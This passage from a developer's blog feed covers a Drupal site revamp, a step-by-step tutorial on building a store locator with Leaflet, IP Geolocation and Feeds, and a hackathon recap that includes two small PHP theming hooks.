&lt;p&gt;In an ideal world, I would choose not to include a WYSIWYG editor at all, and let the content editors just focus on content, however, I do realise that the WYSIWYG editor is a &amp;quot;necessary evil&amp;quot; most of the time.&lt;/p&gt;
&lt;p&gt;Editing HTML could be intimidating for the uninitiated, and the odds of messing something up increases the more content there is. Drag-and-drop for small blocks of content was a more friendly user-interface.&lt;/p&gt;
&lt;p&gt;Luckily, there&apos;s a module for that. With &lt;a href=&quot;https://www.drupal.org/project/panelizer&quot;&gt;Panelizer&lt;/a&gt;, I was able to setup the page such that users could create blocks of content which they could then drag-and-drop.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/temple/emba-3.jpg&quot; alt=&quot;Panelizer&quot;&gt;&lt;/p&gt;
&lt;p&gt;Aside from that, we did some minor clean-up of the site architecture for the EMBA and MSHRM sections. Some sections contained similar information and we chose to merge those sections, making it clearer where specific information could be found.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/temple/emba-ia.jpg&quot; alt=&quot;Information architecture&quot;&gt;&lt;/p&gt;
&lt;p&gt;There was also some information that we felt would be better presented as through an accordion interface. This led me to explore a number of Drupal modules that provided accordion functionality, but I just couldn&apos;t find one that fit our requirements nicely. I decided, maybe it&apos;d be easier to write my own accordion.&lt;/p&gt;
&lt;p&gt;At this point in time, I had a fair number of projects under my belt. However, I still never really got the hang of jQuery. As someone without any background in programming, JavaScript just seemed kind of daunting. HTML and CSS was pretty easy to pick up, but JavaScript and jQuery just seemed...hard.&lt;/p&gt;
&lt;p&gt;The first jQuery learning resource I tried was &lt;a href=&quot;http://try.jquery.com/&quot;&gt;Try jQuery&lt;/a&gt; by &lt;a href=&quot;https://www.codeschool.com/&quot;&gt;Code School&lt;/a&gt;. It was very good, and took me through all the basics of jQuery but somehow it didn&apos;t stick.&lt;/p&gt;
&lt;p&gt;In retrospect, I realised that I needed to use what I learned on an actual project before I could really wrap my head around it. This was a good opportunity for me to finally understand this jQuery thing. &lt;a href=&quot;/blog/drupal-101-alternative-accordion&quot;&gt;This post&lt;/a&gt; covers my adventures in accordion creation.&lt;/p&gt;
&lt;p&gt;The layout was redesigned so call-to-actions were clearly displayed in a sidebar on the right. We also added secondary navigation links on a left sidebar so users could navigate the section more easily.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/temple/emba-2.jpg&quot; alt=&quot;Post-revamp layout&quot;&gt;&lt;/p&gt;
&lt;p&gt;Working on a website one year later is quite an introspective experience. There were so many things I learnt in that span of time that I refactored some of my code to reflect my new knowledge. I&apos;m pretty sure if I worked on this site again in the future, there would definitely be another round of refactoring, but that&apos;s just how it is, isn&apos;t it?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;By continuously improving the design of code, we make it easier and easier to work with. This is in sharp contrast to what typically happens: little refactoring and a great deal of attention paid to expediently adding new features. If you get into the hygienic habit of refactoring continuously, you&apos;ll find that it is easier to extend and maintain code.&lt;br&gt;
― Joshua Kerievsky, Refactoring to Patterns&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Drupal 101: Mapping with Leaflet and IP Geolocation</title><link>https://chenhuijing.com/blog/drupal-101-mapping-with-leaflet-and-ipgeoloc/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-mapping-with-leaflet-and-ipgeoloc/</guid><description>Store locators are a useful functionality for businesses who have multiple outlets. Drupal has a number of map rendering modules that allow us to provide store…</description><pubDate>Tue, 31 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Store locators are a useful functionality for businesses who have multiple outlets. Drupal has a number of map rendering modules that allow us to provide store locator functionality. This article will cover the basics of setting up a simple store locator with proximity search functionality.&lt;/p&gt;
&lt;h2&gt;Create and setup location content type&lt;/h2&gt;
&lt;h3&gt;Required modules&lt;/h3&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/addressfield&quot;&gt;Address Field&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/geocoder&quot;&gt;Geocoder&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/geofield&quot;&gt;Geofield&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/geophp&quot;&gt;geoPHP&lt;/a&gt;&lt;em&gt; (dependency for Geocoder and Geofield)&lt;/em&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/ctools&quot;&gt;Chaos tools suite (ctools)&lt;/a&gt;&lt;em&gt; (dependency for Address Field)&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://www.drupal.org/project/ds&quot;&gt;Display Suite&lt;/a&gt;&lt;em&gt; (Optional: to manage the content display)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install the required modules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush dl addressfield geocoder geofield geophp ctools -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable the required modules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en addressfield geocoder geofield geofield_map geophp ctools -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to &lt;code&gt;admin/structure/types/add&lt;/code&gt; and create your location content type.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a new field for Address.
&lt;img src=&quot;/images/posts/maps/address-field.jpg&quot; alt=&quot;Create address field&quot;&gt;
Click Save, then click Save field settings. You can adjust the defaults settings to suit your locale, if you wish, then click the Save settings button.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add new field for Position.
&lt;img src=&quot;/images/posts/maps/position-field.jpg&quot; alt=&quot;Create position field&quot;&gt;
Click Save, then click Save field settings.
&lt;img src=&quot;/images/posts/maps/position-field-settings.jpg&quot; alt=&quot;Position field settings&quot;&gt;
Select &lt;em&gt;Address&lt;/em&gt; from the drop-down for the &lt;em&gt;Geocode from field&lt;/em&gt; option, and select &lt;em&gt;Google Geocoder&lt;/em&gt; for the &lt;em&gt;Geocoder&lt;/em&gt; option. You can tweak the other default settings, if you wish.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Optional steps: To setup display for the new content type&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;no-margin&quot;&gt;Install Display suite.&lt;/li&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush dl ds -y
&lt;/code&gt;&lt;/pre&gt;
&lt;li class=&quot;no-margin&quot;&gt;Enable Display Suite and Display Suite UI&lt;/li&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en ds ds_ui -y
&lt;/code&gt;&lt;/pre&gt;
&lt;li class=&quot;no-margin&quot;&gt;Go to &lt;code&gt;admin/structure/types/manage/location/display&lt;/code&gt; and activate display suite settings for your new content type by choosing a layout and click Save. I&apos;m using &lt;em&gt;One column&lt;/em&gt; for this example.
        &lt;img alt=&quot;Turn on display suite&quot; src=&quot;/images/posts/maps/display-suite.jpg&quot; /&gt;
&lt;li class=&quot;no-margin&quot;&gt;Select the fields you want displayed and click Save.
        &lt;img alt=&quot;Adjust display&quot; src=&quot;/images/posts/maps/display-suite-2.jpg&quot; /&gt;
&lt;li class=&quot;no-margin&quot;&gt;Do the same for any other view modes you will be using.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you chose not to use Display suite, you still need to make sure the &lt;em&gt;Format&lt;/em&gt; for the &lt;em&gt;Position&lt;/em&gt; field is set to &lt;em&gt;Geofield Map&lt;/em&gt;. If you do not see the &lt;em&gt;Geofield Map&lt;/em&gt; option in the drop-down, check that the Geofield Map module is enabled. This module is part of the Geofield module.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Importing Location data using feeds&lt;/h2&gt;
&lt;p&gt;If you have a lot of data, it doesn&apos;t make sense to enter each location manually. I suggest using &lt;a href=&quot;https://www.drupal.org/project/feeds&quot;&gt;Feeds&lt;/a&gt; to import the data instead.&lt;/p&gt;
&lt;p&gt;This particular example uses data from a spreadsheet, which is easily converted to CSV via Excel.For setting up feeds in other formats, refer to my &lt;a href=&quot;/blog/drupal-101-what-i-learnt-from-hours-of-troubleshooting-feeds/&quot;&gt;previous post on Feeds&lt;/a&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install the &lt;a href=&quot;https://www.drupal.org/project/feeds&quot;&gt;Feeds&lt;/a&gt; module.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush dl feeds -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable Feeds, Feeds Importer and Feeds UI.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en feeds feeds_importer feeds_ui -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to &lt;code&gt;admin/structure/feeds&lt;/code&gt; and click on ➕ Add importer.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Under &lt;em&gt;Basic settings&lt;/em&gt;, select &lt;em&gt;Off&lt;/em&gt; for the &lt;em&gt;Periodic import&lt;/em&gt; option.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Change the &lt;em&gt;Fetcher&lt;/em&gt; to &lt;em&gt;File upload&lt;/em&gt;. You can retain the default settings for this.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Change the &lt;em&gt;Parser&lt;/em&gt; to &lt;em&gt;CSV parser&lt;/em&gt;. You can keep the default settings for this as well.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Keep the &lt;em&gt;Processor&lt;/em&gt; as &lt;em&gt;Node processor&lt;/em&gt; and under &lt;em&gt;Bundle&lt;/em&gt;, select the new content type you created earlier. You can keep the default settings, if you wish.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For &lt;em&gt;Mapping&lt;/em&gt;, ensure all the fields in your data set are mapped out accordingly, with the headers of your CSV file matching the &lt;em&gt;SOURCE&lt;/em&gt; exactly. My dataset has the following field mapping:
&lt;img src=&quot;/images/posts/maps/field-mapping.jpg&quot; alt=&quot;Mapping location importer&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p class=&quot;no-margin&quot;&gt;With reference to the &lt;a href=&quot;https://www.drupal.org/node/1988472&quot;&gt;official documentation&lt;/a&gt;, take note of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;no-margin&quot;&gt;Always supply a country value in their two character &lt;a href=&quot;http://en.wikipedia.org/wiki/ISO_3166-1&quot;&gt;ISO 3166-1 country codes&lt;/a&gt;.&lt;/li&gt;
&lt;li class=&quot;no-margin&quot;&gt;Address components are as follows:&lt;/li&gt;
    &lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Address: Country =&gt; Country&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Address: Administrative area =&gt; State&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Address: Locality =&gt; City&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Address: Postal code =&gt; Postal Code&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Address: Thoroughfare =&gt; Address 1&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Address: Premise =&gt; Address 2&lt;/li&gt;
    &lt;/ul&gt;
&lt;/ul&gt;
&lt;ol start=&quot;9&quot;&gt;
&lt;li&gt;Go to &lt;code&gt;import&lt;/code&gt; and select the importer you just created.&lt;/li&gt;
&lt;li&gt;Import your CSV file. Cross your fingers and hope everything imports successfully.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Create and setup location views&lt;/h2&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Required modules&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/views&quot;&gt;Views&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/ip_geoloc&quot;&gt;IP Geolocation Views &amp; Maps&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/libraries&quot;&gt;Libraries API&lt;/a&gt;&lt;em&gt; (dependency for IP Geoloc)&lt;/em&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/entity&quot;&gt;Entity API&lt;/a&gt;&lt;em&gt; (dependency for IP Geoloc)&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://www.drupal.org/project/leaflet&quot;&gt;Leaflet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Part 1: Location listing&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install required modules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush dl views leaflet libraries entity ip_geoloc -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable the required modules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en views views_ui leaflet leaflet_views ip_geoloc libraries entity -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a libraries folder in the &lt;code&gt;sites/all&lt;/code&gt; folder. Download the &lt;a href=&quot;http://leafletjs.com/download.html&quot;&gt;Leaflet JavaScript Library&lt;/a&gt; and extract the files to the libraries folder. Ensure the folder name is &lt;code&gt;leaflet&lt;/code&gt;.
&lt;img src=&quot;/images/posts/maps/libraries-folder.jpg&quot; alt=&quot;Libraries folder structure&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to &lt;code&gt;admin/structure/views/add&lt;/code&gt; and create a new view for the Location content type. Check &lt;em&gt;Create a page&lt;/em&gt; and fill in the fields as you see fit, then click Continue &amp;amp; edit. These options can be changed on the next screen.
&lt;img src=&quot;/images/posts/maps/views.jpg&quot; alt=&quot;Setup location views&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Under &lt;em&gt;Format&lt;/em&gt;, change the &lt;em&gt;Show&lt;/em&gt; options to &lt;em&gt;Fields&lt;/em&gt;.
&lt;img src=&quot;/images/posts/maps/listing-format.jpg&quot; alt=&quot;Change listing display format&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a &lt;em&gt;Rendered Node&lt;/em&gt; field. Click on &lt;em&gt;Add&lt;/em&gt; and type &lt;em&gt;Rendered Node&lt;/em&gt; in the search filter. Check &lt;em&gt;Content: Rendered Node&lt;/em&gt; and click Apply.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Select &lt;em&gt;Show complete entity&lt;/em&gt; under &lt;em&gt;Display&lt;/em&gt; and choose the view mode you used for displaying your fields when you set up the Location content type.
&lt;img src=&quot;/images/posts/maps/rendered-node.jpg&quot; alt=&quot;Add rendered node field&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a &lt;em&gt;Proximity&lt;/em&gt; field. Click on &lt;em&gt;Add&lt;/em&gt; and type &lt;em&gt;Proximity&lt;/em&gt; in the search filter. Check &lt;em&gt;Content: Position (field_position) - proximity&lt;/em&gt; and click Apply. Adjust the field settings as you see fit. I recommend checking the &lt;em&gt;Round&lt;/em&gt; option and specifying &lt;em&gt;Precision&lt;/em&gt; to &lt;em&gt;2&lt;/em&gt;, as the default option gives a long string of decimal points.
&lt;img src=&quot;/images/posts/maps/proximity-field.jpg&quot; alt=&quot;Proximity field settings&quot;&gt;
Set the &lt;em&gt;Source of Origin Point&lt;/em&gt; to &lt;em&gt;Exposed Geofield Proximity Filter&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a &lt;em&gt;Proximity&lt;/em&gt; filter. Under &lt;em&gt;Filter&lt;/em&gt;, click on &lt;em&gt;Add&lt;/em&gt; and type &lt;em&gt;Proximity&lt;/em&gt; in the search filter. Check &lt;em&gt;Content: Position (field_position) - proximity&lt;/em&gt; and click Apply.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Check &lt;em&gt;Expose this filter to visitors&lt;/em&gt;. Change the &lt;em&gt;Label&lt;/em&gt; if you need to, this field can be left blank. Set the &lt;em&gt;Operator&lt;/em&gt; to &lt;em&gt;is less than or equal to&lt;/em&gt; and enter the starting value in the &lt;em&gt;Proximity Search&lt;/em&gt; field.
&lt;img src=&quot;/images/posts/maps/proximity-filter.jpg&quot; alt=&quot;Proximity filter settings&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remove all existing &lt;em&gt;Sort Criteria&lt;/em&gt;. Click on &lt;em&gt;Add&lt;/em&gt; and type &lt;em&gt;Proximity&lt;/em&gt; in the search filter. Check &lt;em&gt;Content: Position (field_position) - proximity&lt;/em&gt; and click Apply. Select &lt;em&gt;Sort ascending&lt;/em&gt;, and under &lt;em&gt;Source of Origin Point&lt;/em&gt;, select &lt;em&gt;Exposed Geofield Proximity Filter&lt;/em&gt;.
&lt;img src=&quot;/images/posts/maps/proximity-sort.jpg&quot; alt=&quot;Proximity sort settings&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to the path of your views page to check that the listing is rendering correctly. Test the proximity search by typing a location into the exposed filter.
&lt;img src=&quot;/images/posts/maps/location-listing.jpg&quot; alt=&quot;Location listing&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Part 2: Map display&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Add a new Attachment view display to the Location view.
&lt;img src=&quot;/images/posts/maps/map-view.jpg&quot; alt=&quot;Map view display&quot;&gt;&lt;/li&gt;
&lt;li&gt;Add a &lt;em&gt;Position&lt;/em&gt; field. Click on &lt;em&gt;Add&lt;/em&gt; and type &lt;em&gt;Position&lt;/em&gt; in the search filter. Check &lt;em&gt;Content: Position&lt;/em&gt; and click Apply.&lt;/li&gt;
&lt;li&gt;Check &lt;em&gt;Exclude from display&lt;/em&gt;. This field is used for plotting the locations on the map. Pick &lt;em&gt;Latitude/Longitude&lt;/em&gt; as the formatter and click Apply.&lt;/li&gt;
&lt;li&gt;Under &lt;em&gt;Format&lt;/em&gt;, choose &lt;em&gt;This attachment (override)&lt;/em&gt;, select &lt;em&gt;Map (Leaflet API, via IPGV&amp;amp;M)&lt;/em&gt; and click Apply.&lt;/li&gt;
&lt;li&gt;Adjust the height of the map as you see fit. Under &lt;em&gt;Name of latitude field in Views query&lt;/em&gt;, select &lt;em&gt;Content: Position&lt;/em&gt;, the field you just added.&lt;/li&gt;
&lt;li&gt;The location marker styles can be customised and the help text provides detailed information on how to do that. For this example, I chose &lt;em&gt;green&lt;/em&gt; as the default marker and left the &lt;em&gt;Visitor marker&lt;/em&gt; as default, so they are differentiated.&lt;/li&gt;
&lt;li&gt;Under &lt;em&gt;Map centering options&lt;/em&gt;, select &lt;em&gt;Center the map on visitor&apos;s current location&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Under &lt;em&gt;No locations behaviour&lt;/em&gt;, enter &lt;em&gt;visitor&lt;/em&gt; so the map will centre on the user&apos;s location when no results are found.&lt;/li&gt;
&lt;li&gt;Click on &lt;em&gt;More map options&lt;/em&gt; to reveal the map zoom settings. For this example, the default &lt;em&gt;Initial zoom level&lt;/em&gt; was too low, and I set it to &lt;em&gt;15&lt;/em&gt; instead.&lt;/li&gt;
&lt;li&gt;There are many customisation options that IP Geolocation provides, and you can tweak them to suit your needs. Click Apply when done.&lt;/li&gt;
&lt;li&gt;Under &lt;em&gt;Attachment settings&lt;/em&gt;, attach the display to the listing view created in Part 1. Ensure that &lt;em&gt;Inherit exposed filters&lt;/em&gt; is set to &lt;em&gt;Yes&lt;/em&gt;.
&lt;img src=&quot;/images/posts/maps/map-attachment.jpg&quot; alt=&quot;Map attachment&quot;&gt;&lt;/li&gt;
&lt;li&gt;Go to the views page URL and check that your map is rendering correctly.
&lt;img src=&quot;/images/posts/maps/map-pop-up.jpg&quot; alt=&quot;Map information&quot;&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Next steps&lt;/h2&gt;
&lt;p&gt;Once everything is rendering correctly, it&apos;s just a matter of theming the views to look like your design.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/maps/theming-ba.jpg&quot; alt=&quot;Theming before and after&quot;&gt;&lt;/p&gt;
&lt;p&gt;This was pretty much the summary of how I implemented IP Geolocation and Leaflet for &lt;a href=&quot;/blog/the-one-without-sleep/&quot;&gt;Battlehack&lt;/a&gt;. I was quite satisfied with the end result as the map was smooth and responsive. If your project requires map rendering, why not give this combination a try?&lt;/p&gt;
</content:encoded></item><item><title>The one without sleep</title><link>https://chenhuijing.com/blog/the-one-without-sleep/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-without-sleep/</guid><description>So I recently participated in my first ever hackathon over the weekend of March 28. Battlehack Singapore to be exact (oddly, there was another hackathon taking…</description><pubDate>Mon, 30 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So I recently participated in my first ever hackathon over the weekend of March 28. &lt;a href=&quot;https://web.archive.org/web/20150328170549/https://2015.battlehack.org/singapore&quot;&gt;Battlehack Singapore&lt;/a&gt; to be exact (oddly, there was another &lt;a href=&quot;https://web.archive.org/web/20160313223556/http://mastersofcode.com/event/singapore/&quot;&gt;hackathon&lt;/a&gt; taking place at the same time). A UX designer friend of mine had told me about the event and asked if I wanted to join as a team.&lt;br&gt;
Me: Is there gonna be food at this thing?&lt;br&gt;
Her: Erm...yes.&lt;br&gt;
Me: Sold!&lt;br&gt;
Joking aside, I&apos;d never done a hackathon before and thought it&apos;d be fun to try. We managed to recruit another friend and went as a team of three.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/battlehack/battlehack.jpg&quot; alt=&quot;Battlehack Singapore 2015&quot;&gt;&lt;/p&gt;
&lt;h2&gt;The idea&lt;/h2&gt;
&lt;p&gt;The theme of the hackathon was to solve a local or global problem so before the event, we kicked around a couple of ideas and settled on a Clinic Finder app. Think Yelp for clinics.&lt;/p&gt;
&lt;p&gt;Singapore provides a large number of medical schemes that offer subsidised rates for healthcare. Not every clinic is covered by every scheme though, so we thought it&apos;d be good if people could find clinics based on the medical scheme they are covered by.&lt;/p&gt;
&lt;p&gt;Of course, there will be people who aren&apos;t covered by any medical scheme at all, like me. But I&apos;ve also had the experience of being brought on a wild goose chase by Google while trying to find an open clinic at 2am in the morning.&lt;/p&gt;
&lt;p&gt;I&apos;d like to think this is a relatable scenario. Being idealistic people, we wanted our app to provide updated information on each clinic, like actual opening hours and phone numbers with real people on the other end of the line. And trust me, we&apos;ve pondered the BIG question of: where will you ever get such data?&lt;/p&gt;
&lt;p&gt;The most viable idea we could think of at the time was to work with the relevant government agencies that had access to such data. But since it was a hackathon project, we just wanted to see if we could build out the functionality and make it look decent within 24 hours.&lt;/p&gt;
&lt;p&gt;Then, there was the decision of which platform the app would run on. Ideally, this would work well on a mobile device, but our team recognised that we didn&apos;t have the capabilities to build out a mobile app in 24 hours.&lt;/p&gt;
&lt;p&gt;Our expertise was building Drupal sites. Thus, that would be our best bet to have a working application at the end of 24 hours. Maybe one day we&apos;ll join hackathons to win, but not this time. This time, we just wanted to finish. Gotta know how to crawl before learning to walk, and walk before learning to run.&lt;/p&gt;
&lt;h2&gt;Day 1&lt;/h2&gt;
&lt;p&gt;Battlehack Singapore took place at the &lt;a href=&quot;https://www.cliftons.com/venues/singapore/&quot;&gt;Cliftons office&lt;/a&gt; in the Finexis Building. Rooms on both floors were set up for teams of four, with power points and LAN cables for each member. We took a spot near the wall because there was a nice spot to the side for napping. Turns out there wouldn&apos;t be much of that.&lt;/p&gt;
&lt;p&gt;Shortly into the hackathon, we hit our first snag. The internet access went out. Definitely an &amp;quot;Oh, crap&amp;quot; moment for me. I mentioned in my &lt;a href=&quot;/blog/542-days-as-a-drupal-developer/&quot;&gt;last post&lt;/a&gt; how much I used Google throughout the day. I guess the Hackathon Fates decided, no Google for you, kiddo.&lt;/p&gt;
&lt;p&gt;No internet also meant no way to download modules. Luckily for me, I had a bunch of local development sites still sitting in my hard drive, and a majority of the module files I needed were in there somewhere. Sure, they were outdated, but beggars can&apos;t be choosers.&lt;/p&gt;
&lt;p&gt;The organisers were working hard to fix the problem, so I figured I&apos;d just download the newer versions when we got back online. The moral of the story is: Don&apos;t delete all your old development sites, you never know when they might come in handy.&lt;/p&gt;
&lt;p&gt;I&apos;ll admit I got a little grumpy about the situation, but pouting wasn&apos;t going to solve anything, so why not take a little time to chill with the Dinosaur Game? Just in case you didn&apos;t know, as of version 39, the guys at Chrome &lt;a href=&quot;http://thenextweb.com/google/2014/09/25/googles-latest-chrome-build-hidden-game-can-play-offline/&quot;&gt;snuck an easter egg&lt;/a&gt; into the browser.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Useless trivia: I eventually got to a 1045 high score&lt;/em&gt; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue &amp; closed eyes&quot;&gt;😆&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/battlehack/dino-game.jpg&quot; alt=&quot;Chrome Dinosaur Game&quot;&gt;&lt;/p&gt;
&lt;p&gt;We wanted the app to have proximity location capabilities. There are quite a number of solutions for this on Drupal. Coincidentally, I&apos;d listened to the latest episode of &lt;a href=&quot;http://www.talkingdrupal.com/&quot;&gt;Talking Drupal&lt;/a&gt; the night before and the topic was &lt;a href=&quot;http://www.talkingdrupal.com/090&quot;&gt;Map Rendering&lt;/a&gt;. The two modules that stuck in my mind were &lt;a href=&quot;https://www.drupal.org/project/leaflet&quot;&gt;Leaflet&lt;/a&gt; and &lt;a href=&quot;https://www.drupal.org/project/ip_geoloc&quot;&gt;IP Geolocation&lt;/a&gt; as it was mentioned they seemed &amp;quot;smoother&amp;quot;.&lt;/p&gt;
&lt;p&gt;The IP Geolocation module had very good integration with Views and the end result (after the all-nighter, of course) was pretty close to the original design we had in mind. Given the tight schedule we had, this was definitely a plus.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;The only custom code I had to write were minor tweaks to facilitate theming, one to add placeholder attribute to the search filter, and another to add CSS classes to boolean fields based on their values.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;/**
 &amp;amp;ast; Implements hook_form_alter().
 */
//Add placeholder attribute to search boxes
function custom_form_alter(&amp;amp;$form, &amp;amp;$form_state, $form_id) {
  if($form_id == &amp;quot;views_exposed_form&amp;quot;) {
    if (isset($form[&apos;field_geofield_distance&apos;])) {
      $form[&apos;field_geofield_distance&apos;][&apos;#origin_options&apos;][&apos;#attributes&apos;] = array(&apos;placeholder&apos; =&amp;gt; array(t(&apos;Enter Postal Code/Street Name&apos;)));
    }
    if (isset($form[&apos;field_medical_scheme_tid&apos;])) {
      $form[&apos;field_medical_scheme_tid&apos;][&apos;#options&apos;][&apos;All&apos;] = t(&apos;Medical Scheme&apos;);
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;/*
 &amp;amp;ast; Implements template_preprocess_field()
 */
function clinicfinder_preprocess_field(&amp;amp;$variables) {
  //check to see if the field is a boolean
  if ($variables[&apos;element&apos;][&apos;#field_type&apos;] == &apos;list_boolean&apos;) {
    //check to see if the value is TRUE
    if ($variables[&apos;element&apos;][&apos;#items&apos;][0][&apos;value&apos;] == &apos;1&apos;) {
      //add the class .is-true
      $variables[&apos;classes_array&apos;][] = &apos;is-true&apos;;
    } else {
      //add the class .is-false
      $variables[&apos;classes_array&apos;][] = &apos;is-false&apos;;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even though it was a hackathon, and we were pressed for time, I still tried my best to adhere to Drupal best practices. So the &lt;code&gt;template_preprocess_field&lt;/code&gt; went into the &lt;code&gt;template.php&lt;/code&gt; file while the &lt;code&gt;hook_form_alter&lt;/code&gt; went into a custom module.&lt;/p&gt;
&lt;h2&gt;Day 2&lt;/h2&gt;
&lt;p&gt;The presentation at the end of the hackathon was only two minutes long. We figured that as long as we could articulate the app&apos;s key features and demo those features successfully, that would be our pitch. As Sheryl Sandberg said:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Done is better than perfect.&lt;/p&gt;
&lt;/blockquote&gt;
